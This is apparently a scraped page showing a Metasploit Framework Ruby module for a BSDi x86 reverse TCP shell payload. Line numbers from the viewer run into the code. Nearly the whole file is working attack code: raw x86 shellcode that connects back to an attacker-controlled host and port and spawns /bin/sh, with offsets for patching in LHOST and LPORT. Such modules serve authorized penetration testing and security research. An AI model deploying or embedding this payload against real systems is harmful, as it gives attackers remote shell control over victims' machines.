Path: blob/master/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
21547 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 7778include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'BSDi Command Shell, Reverse TCP Inline',16'Description' => 'Connect back to attacker and spawn a command shell',17'Author' => [ 'skape', 'optyx' ],18'License' => MSF_LICENSE,19'Platform' => 'bsdi',20'Arch' => ARCH_X86,21'Handler' => Msf::Handler::ReverseTcp,22'Session' => Msf::Sessions::CommandShell,23'Payload' => {24'Offsets' =>25{26'LHOST' => [ 0x1c, 'ADDR' ],27'LPORT' => [ 0x23, 'n' ]28},29'Payload' =>30"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" \31"\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" \32"\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" \33"\xb0\x5a\x52\x57\xff\xd6\x4a\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68" \34"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"35}36)37)38end39end404142